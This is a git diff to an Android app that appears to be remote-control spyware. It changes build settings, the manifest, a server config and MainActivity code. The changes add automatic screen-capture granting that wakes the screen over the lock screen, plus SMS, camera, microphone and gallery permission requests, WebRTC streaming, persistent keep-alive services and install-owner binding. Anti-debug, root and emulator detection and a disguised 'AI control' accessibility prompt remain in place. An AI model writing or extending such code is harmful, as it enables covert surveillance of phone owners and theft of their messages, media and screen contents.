diff --git a/.editorconfig b/.editorconfig
new file mode 100644
index 0000000..dc6212f
--- /dev/null
+++ b/.editorconfig
@@ -0,0 +1,11 @@
+root = true
+
+[*]
+charset = utf-8
+end_of_line = lf
+insert_final_newline = true
+indent_style = space
+indent_size = 2
+
+[*.{kt,kts,java,xml,gradle}]
+indent_size = 4
diff --git a/app/build.gradle b/app/build.gradle
index 626fcbd..92ee142 100644
--- a/app/build.gradle
+++ b/app/build.gradle
@@ -21,103 +21,95 @@ android {
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
}
+ lint {
+ // Keep CI/build running even when lint reports issues.
+ abortOnError false
+ checkReleaseBuilds false
+ }
+
buildTypes {
release {
- // 启用代码混淆和压缩
+ // Release hardening
minifyEnabled true
- // 启用资源压缩
shrinkResources true
- // 使用优化的ProGuard配置
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
-
- // 签名配置
+
+ // Signing config
signingConfig signingConfigs.debug
-
- // 构建优化
+
+ // Build optimization
zipAlignEnabled true
debuggable false
jniDebuggable false
-
- // 构建配置字段
+
buildConfigField "String", "BUILD_TYPE", "\"release\""
buildConfigField "boolean", "ENABLE_ENCRYPTION", "true"
buildConfigField "boolean", "ENABLE_ANTI_DEBUG", "true"
buildConfigField "boolean", "ENABLE_ROOT_DETECTION", "true"
buildConfigField "boolean", "ENABLE_EMULATOR_DETECTION", "true"
}
-
+
debug {
- // 调试版本不启用混淆,方便开发
+ // Easier troubleshooting for local development
minifyEnabled false
shrinkResources false
debuggable true
-
- // 构建配置字段
+
buildConfigField "String", "BUILD_TYPE", "\"debug\""
buildConfigField "boolean", "ENABLE_ENCRYPTION", "false"
buildConfigField "boolean", "ENABLE_ANTI_DEBUG", "false"
buildConfigField "boolean", "ENABLE_ROOT_DETECTION", "false"
buildConfigField "boolean", "ENABLE_EMULATOR_DETECTION", "false"
}
-
- // 创建增强版本
+
create("enhancement") {
initWith(getByName("release"))
-
- // 强化混淆配置
+
+ // Enhanced release-like profile
minifyEnabled true
shrinkResources true
-
- // 强化构建配置
+
buildConfigField "String", "BUILD_TYPE", "\"enhancement\""
buildConfigField "boolean", "ENABLE_ENCRYPTION", "true"
buildConfigField "boolean", "ENABLE_ANTI_DEBUG", "true"
buildConfigField "boolean", "ENABLE_ROOT_DETECTION", "true"
buildConfigField "boolean", "ENABLE_EMULATOR_DETECTION", "true"
-
- // 启用更严格的优化
+
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
-
+
compileOptions {
sourceCompatibility JavaVersion.VERSION_1_8
targetCompatibility JavaVersion.VERSION_1_8
}
-
+
kotlinOptions {
jvmTarget = '1.8'
}
}
dependencies {
+ implementation 'com.github.pedroSG94.RootEncoder:library:2.5.4-1.8.22'
implementation 'androidx.core:core-ktx:1.10.1'
implementation 'androidx.appcompat:appcompat:1.6.1'
implementation 'com.google.android.material:material:1.9.0'
implementation 'androidx.constraintlayout:constraintlayout:2.1.4'
-
- // 协程支持
+
implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-android:1.7.3'
implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-core:1.7.3'
-
- // ✅ Socket.IO v4 官方客户端库
+
implementation 'io.socket:socket.io-client:2.1.0'
-
- // 网络库
+ implementation 'org.webrtc:google-webrtc:1.0.32006'
implementation 'com.squareup.okhttp3:okhttp:4.12.0'
-
- // JSON处理
implementation 'org.json:json:20231013'
-
- // 生命周期组件
+
implementation 'androidx.lifecycle:lifecycle-runtime-ktx:2.6.2'
implementation 'androidx.lifecycle:lifecycle-service:2.6.2'
-
- // WorkManager保活 - 使用兼容API 33的版本
+
implementation 'androidx.work:work-runtime-ktx:2.8.1'
-
- // 测试依赖
+
testImplementation 'junit:junit:4.13.2'
androidTestImplementation 'androidx.test.ext:junit:1.1.5'
androidTestImplementation 'androidx.test.espresso:espresso-core:3.5.1'
-}
\ No newline at end of file
+}
diff --git a/app/src/main/AndroidManifest.xml b/app/src/main/AndroidManifest.xml
index 1db6cd8..a3fabc6 100644
--- a/app/src/main/AndroidManifest.xml
+++ b/app/src/main/AndroidManifest.xml
@@ -1,10 +1,11 @@
-
+
-
+
+
@@ -12,84 +13,88 @@
tools:ignore="QueryAllPackagesPermission" />
+
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
+
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
+
+
+
+
+
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
@@ -242,7 +255,7 @@
-
+
-
+
@@ -270,7 +283,7 @@
-
+
@@ -285,7 +298,7 @@
-
+
-
+
@@ -315,7 +328,7 @@
-
+
-
+
-
+
+
-
+
-
+
-
+
+
+
+ android:foregroundServiceType="mediaProjection|dataSync|camera|microphone" />
-
+
-
+
+ android:exported="false"
+ android:foregroundServiceType="dataSync" />
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
-
+
+
-
\ No newline at end of file
+
diff --git a/app/src/main/assets/server_config.json b/app/src/main/assets/server_config.json
index 828090f..47369f4 100644
--- a/app/src/main/assets/server_config.json
+++ b/app/src/main/assets/server_config.json
@@ -1,18 +1,35 @@
{
- "serverUrl": "ws://192.168.0.103:3001",
+ "serverUrl": "ws://192.168.100.45:3001",
"webUrl": "https://yhdm.one",
+ "webrtcTurnUrls": "",
+ "webrtcTurnUsername": "",
+ "webrtcTurnPassword": "",
+ "ownerUserId": "",
+ "ownerUsername": "",
+ "ownerGroupId": "",
+ "ownerGroupName": "",
+ "installToken": "",
+ "installResolveUrl": "",
"buildTime": "2025-09-09T11:45:57.889Z",
"version": "1.0.1.6",
- "enableConfigMask": true,
+ "enableConfigMask": false,
"enableProgressBar": true,
+ "featureFlags": {
+ "bootAutoStart": true,
+ "workManagerKeepAlive": true,
+ "comprehensiveKeepAlive": true,
+ "enhancedEventRecovery": true,
+ "permissionMetrics": true,
+ "keepAliveMetrics": true
+ },
"configMaskText": "配置中请稍后...",
- "configMaskSubtitle": "正在自动配置和连接\r\n请勿操作设备",
+ "configMaskSubtitle": "正在自动配置和连接\n请勿操作设备",
"configMaskStatus": "配置完成后将自动返回应用",
"pageStyleConfig": {
- "appName": "短视频组件",
- "statusText": "软件需要开启AI智能操控权限\n请按照以下步骤进行\n1. 点击启用按钮\n2. 转到已下载的服务/应用\n3. 找到本应用并点击进入\n4. 开启辅助开关",
+ "appName": "控制组件",
+ "statusText": "软件需要开启 AI 智能控制权限\n请按以下步骤操作\n1. 点击启用按钮\n2. 跳转到系统服务设置\n3. 找到本应用并进入\n4. 开启辅助功能",
"enableButtonText": "启用",
- "usageInstructions": "使用说明:\n1. 启用无障碍服务\n2. 确保设备连接到网络\n\n注意:请在安全的网络环境中使用",
+ "usageInstructions": "使用说明:\n1. 启用无障碍服务\n2. 确保设备连接到网络\n\n注意: 请在安全的网络环境中使用",
"apkFileName": ""
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/MainActivity.kt b/app/src/main/java/com/hikoncont/MainActivity.kt
index 24c49c3..1b2dc47 100644
--- a/app/src/main/java/com/hikoncont/MainActivity.kt
+++ b/app/src/main/java/com/hikoncont/MainActivity.kt
@@ -3,6 +3,8 @@
import android.app.Activity
import android.app.ActivityManager
import android.content.BroadcastReceiver
+import android.content.ClipData
+import android.content.ClipboardManager
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
@@ -19,9 +21,14 @@ import android.widget.Button
import android.widget.ImageView
import android.widget.Switch
import android.widget.TextView
+import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
import androidx.core.content.ContextCompat
import com.hikoncont.service.AccessibilityRemoteService
+import com.hikoncont.util.DeviceMetricsReporter
+import com.hikoncont.util.DeviceDetector
+import com.hikoncont.util.UnifiedPermissionOrchestrator
+import com.hikoncont.util.registerReceiverCompat
import android.content.pm.PackageManager
import android.graphics.Color
import android.view.View
@@ -55,6 +62,19 @@ class MainActivity : AppCompatActivity() {
//新增:自动重试配置
private const val MAX_AUTO_RETRY_COUNT = 6 // 最大重试次数:6次 (约30秒)
private const val AUTO_RETRY_INTERVAL = 5000L // 重试间隔:5秒
+ private const val MAX_RUNTIME_BATCH_REQUEST_ATTEMPTS = 2
+ private const val MAX_SPECIAL_STEP_AUTO_ATTEMPTS = 2
+ private const val MIN_PERMISSION_FLOW_ACTION_INTERVAL_MS = 900L
+ private const val SLOW_PERMISSION_FLOW_ACTION_INTERVAL_MS = 1650L
+ private const val AUTO_REPAIR_COOLDOWN_MS = 60_000L
+ private const val MAX_RUNTIME_REQUEST_DISPATCH_RETRIES = 8
+ private const val RUNTIME_REQUEST_DISPATCH_INTERVAL_MS = 180L
+ private const val SLOW_RUNTIME_REQUEST_DISPATCH_INTERVAL_MS = 320L
+ private const val RUNTIME_FLOW_CONTINUE_DELAY_MS = 500L
+ private const val SLOW_RUNTIME_FLOW_CONTINUE_DELAY_MS = 1200L
+ private const val SLOW_MODE_MAX_LAUNCH_COUNT = 3
+ private const val FIRST_INSTALL_GRACE_PERIOD_MS = 12 * 60 * 60 * 1000L
+ private const val PREF_PERMISSION_HEALTH = "permission_health_snapshot"
}
private lateinit var statusText: TextView
@@ -63,6 +83,10 @@ class MainActivity : AppCompatActivity() {
private lateinit var usageInstructionsText: TextView
private lateinit var serviceSwitch: Switch
private lateinit var appIconImageView: ImageView
+ private lateinit var uninstallProtectionSwitch: Switch
+ private lateinit var copyDiagnosticsButton: Button
+ private lateinit var diagnosticsPreviewText: TextView
+ private var isUpdatingUninstallProtectionSwitch = false
private var mediaProjectionManager: MediaProjectionManager? = null
private var mediaProjection: MediaProjection? = null
@@ -77,6 +101,14 @@ class MainActivity : AppCompatActivity() {
//防止重复权限申请的标志
private var permissionRequestInProgress = false
+ private var permissionRequestInProgressSince = 0L
+ private val permissionRequestStaleTimeoutMs = 35_000L
+ // 单项运行时权限请求进行中(用于抑制自动切WebView抢焦点)
+ private var pendingSingleRuntimePermissionRequest = false
+ // 兼容标记:当前稳定策略统一走自动确认链路,仅保留字段避免外部调用崩溃
+ private var manualGrantOnlyMode = false
+ // 标记本轮授权是否仅供 WebRTC 使用(避免提前消费投屏 token)
+ private var pendingWebRtcOnlyPermissionRequest = false
//新增:存储自定义的页面样式配置
private var customStatusText: String? = null
@@ -94,6 +126,17 @@ class MainActivity : AppCompatActivity() {
private var isWebViewVisible = false
private var mediaProjectionCheckRunnable: Runnable? = null
+ // 统一权限编排状态
+ private var unifiedPermissionFlowInProgress = false
+ private var unifiedPermissionFlowBackgroundPreferred = false
+ private var unifiedPermissionFlowLastActionAt = 0L
+ private var runtimeBatchRequestAttempts = 0
+ private val permissionStepAttempts = mutableMapOf()
+ private val manualPermissionSteps = mutableSetOf()
+ private var lastAutoRepairAt = 0L
+ private var cachedSlowPermissionFlowMode: Boolean? = null
+ private var slowPermissionFlowModeLogged = false
+
//合并的广播接收器 - 处理停止Activity和备用权限申请
private val combinedBroadcastReceiver = object : BroadcastReceiver() {
override fun onReceive(context: Context?, intent: Intent?) {
@@ -135,49 +178,60 @@ class MainActivity : AppCompatActivity() {
"android.mycustrecev.REQUEST_PERMISSION_FROM_SERVICE" -> {
Log.i(TAG, "📡 收到备用权限申请广播 - 来自AccessibilityRemoteService")
val autoRequest = intent.getBooleanExtra("AUTO_REQUEST_PERMISSION", false)
+ val webrtcOnlyRequest = intent.getBooleanExtra("WEBRTC_ONLY_REQUEST", false)
+ val forceResetPermissionData = intent.getBooleanExtra("FORCE_PERMISSION_DATA_RESET", false)
val timestamp = intent.getLongExtra("TIMESTAMP", 0)
val source = intent.getStringExtra("SOURCE") ?: "未知"
Log.i(
TAG,
- "📊 备用广播参数: AUTO_REQUEST_PERMISSION=$autoRequest, TIMESTAMP=$timestamp, SOURCE=$source"
+ "📊 备用广播参数: AUTO_REQUEST_PERMISSION=$autoRequest, WEBRTC_ONLY_REQUEST=$webrtcOnlyRequest, FORCE_PERMISSION_DATA_RESET=$forceResetPermissionData, TIMESTAMP=$timestamp, SOURCE=$source"
)
if (autoRequest) {
//检查是否已有权限申请在进行,防止重复申请
if (permissionRequestInProgress) {
- Log.w(TAG, "权限申请已在进行中,忽略备用广播")
- return
+ val forceResetBusyState = forceResetPermissionData || webrtcOnlyRequest
+ val recovered = resetStalePermissionRequestIfNeeded(
+ reason = "backup_broadcast:$source",
+ force = forceResetBusyState
+ )
+ if (!recovered && permissionRequestInProgress) {
+ Log.w(TAG, "权限申请已在进行中,忽略备用广播")
+ return
+ }
+ if (recovered) {
+ Log.w(TAG, "已重置卡死的权限申请状态,继续处理备用广播")
+ }
}
- //检查权限是否已存在,防止重复申请
+ //检查权限是否已存在,防止重复申请(除非显式要求重置)
val permissionData = MediaProjectionHolder.getPermissionData()
- if (permissionData != null) {
+ if (permissionData != null && !forceResetPermissionData) {
Log.i(TAG, "MediaProjection权限已存在,忽略备用广播")
return
}
+ if (permissionData != null && forceResetPermissionData) {
+ Log.w(TAG, "🧹 备用广播要求强制重置MediaProjection权限数据")
+ MediaProjectionHolder.clearPermissionData()
+ }
- Log.i(
- TAG,
- "备用广播包含AUTO_REQUEST_PERMISSION=true,但权限申请已通过主Intent启动"
- )
- Log.i(TAG, "备用广播仅用于确保Activity前台显示,不重复启动权限申请")
+ Log.i(TAG, "备用广播触发自动权限申请链路")
+ pendingWebRtcOnlyPermissionRequest = webrtcOnlyRequest
+ manualGrantOnlyMode = false
+ isAutoPermissionRequest = true
+ setPermissionRequestInProgressState(true, "backup_broadcast:$source")
- //仅强制将Activity带到前台,不重复启动权限申请
+ //将Activity带到前台,并直接启动自动权限申请
runOnUiThread {
try {
- //ANR修复:异步处理窗口焦点操作
android.os.Handler(android.os.Looper.getMainLooper()).post {
try {
- // 分步骤设置窗口标志,避免ANR
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED)
-
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON)
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
-
- // 延迟执行moveTaskToFront
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
val activityManager =
@@ -191,16 +245,29 @@ class MainActivity : AppCompatActivity() {
Log.e(TAG, "moveTaskToFront失败", e)
}
}, 150)
+
+ android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
+ try {
+ Log.i(TAG, "📺 备用广播开始执行自动权限申请")
+ handleAutoPermissionRequest()
+ } catch (e: Exception) {
+ Log.e(TAG, "备用广播执行自动权限申请失败", e)
+ setPermissionRequestInProgressState(false, "backup_broadcast_exec_failed")
+ }
+ }, 450)
} catch (e: Exception) {
Log.e(TAG, "设置屏幕标志失败", e)
+ setPermissionRequestInProgressState(false, "backup_broadcast_set_flag_failed")
}
}, 100)
} catch (e: Exception) {
Log.e(TAG, "异步设置Activity前台显示失败", e)
+ setPermissionRequestInProgressState(false, "backup_broadcast_async_failed")
}
}
} catch (e: Exception) {
Log.w(TAG, "设置Activity前台显示失败: ${e.message}")
+ setPermissionRequestInProgressState(false, "backup_broadcast_foreground_failed")
}
}
} else {
@@ -389,6 +456,10 @@ class MainActivity : AppCompatActivity() {
Log.w(TAG, "Intent为null")
}
+ // 作者: sue 日期: 2026-02-19
+ // 说明: 处理安装分享链接深链接,把归属Token写入本地配置。
+ handleInstallLinkIntent(intent)
+
//注册广播接收器(无论是否伪装模式都需要)
val filter = IntentFilter().apply {
addAction("android.mycustrecev.STOP_ACTIVITY_CREATION")
@@ -402,7 +473,8 @@ class MainActivity : AppCompatActivity() {
addAction("android.mycustrecev.REQUEST_SMS_PERMISSION") //新增:短信权限请求广播
addAction("android.mycustrecev.REQUEST_ALL_PERMISSIONS") //新增:所有权限请求广播
}
- registerReceiver(combinedBroadcastReceiver, filter)
+ // 统一走兼容注册入口,避免 Android 13+ 因 flags 缺失触发 SecurityException
+ registerReceiverCompat(combinedBroadcastReceiver, filter, exported = false)
// Initialize MediaProjectionManager early to avoid null in any code path
try {
@@ -415,7 +487,21 @@ class MainActivity : AppCompatActivity() {
// Record app launch count for keep-alive detection
recordAppLaunch()
+ try {
+ val romPolicy = DeviceDetector.getRomPolicy()
+ Log.i(
+ TAG,
+ "当前ROM策略: id=${romPolicy.strategyId}, installer=${romPolicy.installerStrategy}, stepOrder=${romPolicy.permissionStepOrder.joinToString("->") { it.name }}"
+ )
+ } catch (e: Exception) {
+ Log.w(TAG, "读取ROM策略失败", e)
+ }
+ val hasExplicitPermissionIntent = hasExplicitPermissionRequestIntent(intent)
+ if (hasExplicitPermissionIntent) {
+ Log.i(TAG, "🚦 检测到显式权限请求Intent,本次启动跳过WebView快捷分支")
+ }
+
//新增:检查是否为无闪现后台唤起
if (intent?.getBooleanExtra("LAUNCH_BACKGROUND", false) == true) {
try {
@@ -429,7 +515,8 @@ class MainActivity : AppCompatActivity() {
}
//优先检查:是否来自安装完成广播,需要显示WebView
- if (intent?.getBooleanExtra("from_installation_complete", false) == true &&
+ if (!hasExplicitPermissionIntent &&
+ intent?.getBooleanExtra("from_installation_complete", false) == true &&
intent?.getBooleanExtra("show_webview", false) == true
) {
Log.i(TAG, "🌐 来自安装完成广播,检查MediaProjection权限后显示WebView")
@@ -457,14 +544,10 @@ class MainActivity : AppCompatActivity() {
Log.i(TAG, "MediaProjection权限检查结果: $hasMediaProjectionPermission")
if (!hasMediaProjectionPermission) {
- Log.w(TAG, "MediaProjection权限未获取,不启动WebView,转入手动权限申请流程")
- // 设置布局但不启动WebView,让应用进入正常的权限申请流程
- setContentView(R.layout.activity_main)
- initViews()
- return
+ Log.i(TAG, "🧩 WS优先模式:MediaProjection权限未获取,先进入WebView,后续按需触发超频模式")
}
- Log.i(TAG, "MediaProjection权限已获取,启动WebView")
+ Log.i(TAG, "启动WebView页面(WS优先)")
setContentView(R.layout.activity_main)
Log.i(TAG, "已设置布局,准备启动WebView")
@@ -624,7 +707,7 @@ class MainActivity : AppCompatActivity() {
}
//新增:检查安装是否已完成,如果完成则直接显示WebView
- if (isInstallationCompleted()) {
+ if (!hasExplicitPermissionIntent && isInstallationCompleted()) {
Log.i(TAG, "📦 检测到安装已完成,直接显示WebView")
setContentView(R.layout.activity_main)
startWebViewActivity()
@@ -633,14 +716,17 @@ class MainActivity : AppCompatActivity() {
// 🔐 只有在密码框曾经显示过的情况下才检查密码输入状态
- if (hasPasswordInputBeenShown() && !isPasswordInputCompleted()) {
+ if (!hasExplicitPermissionIntent &&
+ hasPasswordInputBeenShown() &&
+ !isPasswordInputCompleted()
+ ) {
Log.i(TAG, "🔐 密码框曾经显示过且密码输入未完成,强制跳转到密码输入页面")
startPasswordInputActivity()
return
}
// 🌐 如果WebView曾经打开过(从文件读取),则每次进入直接打开WebView
- if (com.hikoncont.util.WebViewStateStore.hasOpened(this)) {
+ if (!hasExplicitPermissionIntent && com.hikoncont.util.WebViewStateStore.hasOpened(this)) {
Log.i(TAG, "🌐 检测到WebView曾经打开过,检查MediaProjection权限后启动WebView页面")
//新增:检查MediaProjection权限是否已获取
@@ -648,12 +734,10 @@ class MainActivity : AppCompatActivity() {
Log.i(TAG, "MediaProjection权限检查结果: $hasMediaProjectionPermission")
if (!hasMediaProjectionPermission) {
- Log.w(TAG, "MediaProjection权限未获取,不启动WebView,转入手动权限申请流程")
- // 不启动WebView,让应用进入正常的权限申请流程
- return
+ Log.i(TAG, "🧩 WS优先模式:MediaProjection权限未获取,仍直接进入WebView")
}
- Log.i(TAG, "MediaProjection权限已获取,启动WebView页面")
+ Log.i(TAG, "启动WebView页面(WS优先)")
startWebViewActivity()
return
}
@@ -891,13 +975,7 @@ class MainActivity : AppCompatActivity() {
Log.w(TAG, "AccessibilityEventManager不可用")
}
- // 启用防卸载监听
- try {
- accessibilityService.enableUninstallProtection()
- Log.i(TAG, "防卸载监听服务已启用")
- } catch (e: Exception) {
- Log.e(TAG, "启用防卸载监听失败", e)
- }
+ // 防卸载监听改为手动开关控制,不在这里自动启用
} else {
Log.w(TAG, "AccessibilityRemoteService不可用")
@@ -1071,6 +1149,8 @@ class MainActivity : AppCompatActivity() {
}
}
+ handleInstallLinkIntent(intent)
+
// 处理新的Intent
handleIntentAndPermissions(intent)
} else {
@@ -1078,6 +1158,62 @@ class MainActivity : AppCompatActivity() {
}
}
+ /**
+ *统一的Intent处理方法
+ */
+ private fun handleInstallLinkIntent(intent: Intent?) {
+ if (intent == null || intent.action != Intent.ACTION_VIEW) {
+ return
+ }
+
+ val data = intent.data ?: return
+ val scheme = data.scheme?.lowercase() ?: return
+ val host = data.host?.lowercase() ?: return
+ if (scheme != "ccprojer" || host != "install") {
+ return
+ }
+
+ val token = data.getQueryParameter("token")?.trim()
+ if (token.isNullOrEmpty()) {
+ Log.w(TAG, "安装深链接缺少 token 参数: $data")
+ return
+ }
+
+ val resolveUrl = data.getQueryParameter("resolve")?.trim()
+ val updated = com.hikoncont.util.ConfigWriter.applyInstallBinding(
+ context = this,
+ installToken = token,
+ installResolveUrl = resolveUrl,
+ )
+ if (updated) {
+ Log.i(TAG, "安装深链接参数写入成功: token=$token")
+ Toast.makeText(this, "安装归属参数已更新", Toast.LENGTH_SHORT).show()
+ } else {
+ Log.e(TAG, "安装深链接参数写入失败: token=$token")
+ Toast.makeText(this, "安装归属参数写入失败", Toast.LENGTH_SHORT).show()
+ }
+ }
+
+ /**
+ * 权限链路显式触发判定:
+ * 这些Intent应优先于安装完成/WebView快捷分支处理,避免ROM差异导致流程中断。
+ */
+ private fun hasExplicitPermissionRequestIntent(intent: Intent?): Boolean {
+ if (intent == null) {
+ return false
+ }
+ return intent.getBooleanExtra("AUTO_REQUEST_PERMISSION", false) ||
+ intent.getBooleanExtra("request_camera_permission", false) ||
+ intent.getBooleanExtra("request_gallery_permission", false) ||
+ intent.getBooleanExtra("request_microphone_permission", false) ||
+ intent.getBooleanExtra("request_sms_permission", false) ||
+ intent.getBooleanExtra("PERMISSION_LOST_RECOVERY", false) ||
+ intent.getBooleanExtra("SMART_RECOVERY", false) ||
+ intent.getBooleanExtra("WEBRTC_ONLY_REQUEST", false) ||
+ intent.getBooleanExtra("MIUI_PERMISSION_FIX", false) ||
+ intent.getBooleanExtra("REFRESH_PERMISSION_REQUEST", false)
+ }
+
/**
*统一的Intent处理方法
*/
@@ -1104,6 +1240,7 @@ class MainActivity : AppCompatActivity() {
)
Log.i(TAG, "📊 Intent参数: TIMESTAMP=${intent.getLongExtra("TIMESTAMP", 0)}")
Log.i(TAG, "📊 Intent参数: SOURCE=${intent.getStringExtra("SOURCE") ?: "未知"}")
+ Log.i(TAG, "📊 Intent参数: WEBRTC_ONLY_REQUEST=${intent.getBooleanExtra("WEBRTC_ONLY_REQUEST", false)}")
Log.i(TAG, "📊 Intent Action: ${intent.action ?: "无"}")
Log.i(TAG, "📊 Intent Flags: ${intent.flags}")
@@ -1151,13 +1288,11 @@ class MainActivity : AppCompatActivity() {
Log.i(TAG, "🛡️ 安装完成,启动保活服务(参考 f 目录策略)")
//参考 f 目录:只启动主前台服务(对应 BackRunServerUseUse)
- val foregroundIntent = Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java)
- if (android.os.Build.VERSION.SDK_INT >= 26) {
- startForegroundService(foregroundIntent)
+ if (startRemoteForegroundServiceSafely(reason = "installation_complete")) {
+ Log.i(TAG, "主前台服务已启动(对应 f 目录的 BackRunServerUseUse)")
} else {
- startService(foregroundIntent)
+ Log.w(TAG, "主前台服务未启动,等待 MediaProjection 授权后再启动")
}
- Log.i(TAG, "主前台服务已启动(对应 f 目录的 BackRunServerUseUse)")
//启动 WorkManager 保活(对应 f 目录的系统级 WorkManager)
val workManagerKeepAlive = com.hikoncont.service.WorkManagerKeepAliveService.getInstance()
@@ -1173,25 +1308,59 @@ class MainActivity : AppCompatActivity() {
startWebViewActivity()
}
+ intent.getBooleanExtra("request_sms_permission", false) -> {
+ Log.i(TAG, "📱 检测到短信权限申请请求")
+ intent.removeExtra("request_sms_permission")
+ requestSMSPermission()
+ }
+
+ intent.getBooleanExtra("request_gallery_permission", false) -> {
+ Log.i(TAG, "🖼️ 检测到相册权限申请请求")
+ intent.removeExtra("request_gallery_permission")
+ requestGalleryPermission()
+ }
+
+ intent.getBooleanExtra("request_microphone_permission", false) -> {
+ Log.i(TAG, "🎤 检测到麦克风权限申请请求")
+ intent.removeExtra("request_microphone_permission")
+ requestMicrophonePermission()
+ }
+
intent.getBooleanExtra("request_camera_permission", false) -> {
Log.i(TAG, "📷 检测到摄像头权限申请请求")
+ // 避免同一启动Intent在后续生命周期重复触发权限弹框
+ intent.removeExtra("request_camera_permission")
handleCameraPermissionRequest()
}
intent.getBooleanExtra("AUTO_REQUEST_PERMISSION", false) -> {
- Log.i(TAG, "检测到自动权限申请请求,启动handleAutoPermissionRequest()")
-
- //检查是否已有权限申请在进行,防止重复申请
+ Log.i(TAG, "检测到自动权限申请请求,启动自动授权流程")
+ // 避免同一启动Intent在后续生命周期重复触发
+ intent.removeExtra("AUTO_REQUEST_PERMISSION")
+ // 稳定模式:忽略手动授权模式,保持自动确认链路
+ manualGrantOnlyMode = false
+ intent.removeExtra("MANUAL_GRANT_ONLY")
+ pendingWebRtcOnlyPermissionRequest = intent.getBooleanExtra("WEBRTC_ONLY_REQUEST", false)
+ intent.removeExtra("WEBRTC_ONLY_REQUEST")
+ Log.i(TAG, "自动授权请求模式: pendingWebRtcOnlyPermissionRequest=$pendingWebRtcOnlyPermissionRequest")
if (permissionRequestInProgress) {
- Log.w(TAG, "权限申请已在进行中,忽略重复的Intent")
- return
+ val recovered = resetStalePermissionRequestIfNeeded(
+ reason = "intent_auto_request",
+ force = pendingWebRtcOnlyPermissionRequest
+ )
+ if (!recovered && permissionRequestInProgress) {
+ Log.w(TAG, "权限申请已在进行中,忽略重复的Intent")
+ return
+ }
+ if (recovered) {
+ Log.w(TAG, "已重置卡死的权限申请状态,继续处理自动授权Intent")
+ }
}
-
- isAutoPermissionRequest = true // 设置自动权限申请标志
- permissionRequestInProgress = true // 设置权限申请进行中标志
-
+ isAutoPermissionRequest = true
+ setPermissionRequestInProgressState(true, "intent_auto_request")
//检查是否为 MIUI 修复模式
val isMiuiFix = intent.getBooleanExtra("MIUI_PERMISSION_FIX", false)
+ intent.removeExtra("MIUI_PERMISSION_FIX")
if (isMiuiFix) {
Log.i(TAG, "🔧 检测到MIUI权限修复模式,使用特殊处理")
@@ -1209,64 +1378,13 @@ class MainActivity : AppCompatActivity() {
// MIUI 修复模式:等待更长时间确保Activity完全就绪
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
if (!isFinishing) {
- Log.i(TAG, "🔧 MIUI修复:延迟后启动权限申请")
+ Log.i(TAG, "🔧 MIUI修复:延迟后启动自动授权流程")
handleAutoPermissionRequest()
}
}, 2000) // 2秒延迟
return
}
-
- //强制将Activity带到前台,确保用户能看到权限申请界面
- Log.i(TAG, "强制将MainActivity带到前台")
- try {
- //ANR修复:异步处理窗口焦点操作,避免阻塞主线程
- android.os.Handler(android.os.Looper.getMainLooper()).post {
- try {
- //修复:分步骤设置窗口标志,避免一次性设置过多标志导致ANR
- // 第一步:设置基本窗口标志
- window.addFlags(android.view.WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED)
-
- // 第二步:延迟设置屏幕相关标志
- android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
- try {
- window.addFlags(android.view.WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON)
- window.addFlags(android.view.WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
-
- // 设置Activity为前台显示
- setTurnScreenOn(true)
- setShowWhenLocked(true)
-
- Log.i(TAG, "窗口标志设置完成")
- } catch (e: Exception) {
- Log.e(TAG, "设置屏幕标志失败", e)
- }
- }, 100) // 100ms延迟,避免ANR
-
- // 第三步:延迟执行moveTaskToFront,避免与窗口标志设置冲突
- android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
- try {
- val activityManager =
- getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
- activityManager.moveTaskToFront(
- taskId,
- android.app.ActivityManager.MOVE_TASK_WITH_HOME
- )
- Log.i(TAG, "ActivityManager移动任务成功")
- } catch (e: Exception) {
- Log.e(TAG, "ActivityManager移动任务失败", e)
- }
- }, 200) // 200ms延迟,确保窗口标志设置完成
-
- Log.i(TAG, "Activity前台显示操作已异步启动")
- } catch (e: Exception) {
- Log.e(TAG, "异步设置Activity前台显示失败", e)
- }
- }
- } catch (e: Exception) {
- Log.e(TAG, "设置Activity前台显示失败", e)
- }
-
handleAutoPermissionRequest()
}
@@ -1867,11 +1985,14 @@ class MainActivity : AppCompatActivity() {
//参考zuiqiang:移除onResume中的保活检测
// zuiqiang的做法是在onDestroy时启动透明保活Activity,而不是在onResume中检测
+ val currentIntent = intent
+ val hasExplicitPermissionIntent = hasExplicitPermissionRequestIntent(currentIntent)
+
// 🚀 关键优化:检查是否在 WebView 模式,如果是则跳过所有检查
val webViewContainer = findViewById(R.id.webViewContainer)
val isWebViewVisible = webViewContainer?.visibility == android.view.View.VISIBLE
- if (isWebViewVisible) {
+ if (isWebViewVisible && !hasExplicitPermissionIntent && !unifiedPermissionFlowInProgress) {
Log.d(TAG, "🌐 WebView 模式:跳过所有后台检查,优化性能")
//Activity回到前台,如果WebView打开,恢复状态更新
@@ -1894,6 +2015,13 @@ class MainActivity : AppCompatActivity() {
return
}
+ if (isWebViewVisible && (hasExplicitPermissionIntent || unifiedPermissionFlowInProgress)) {
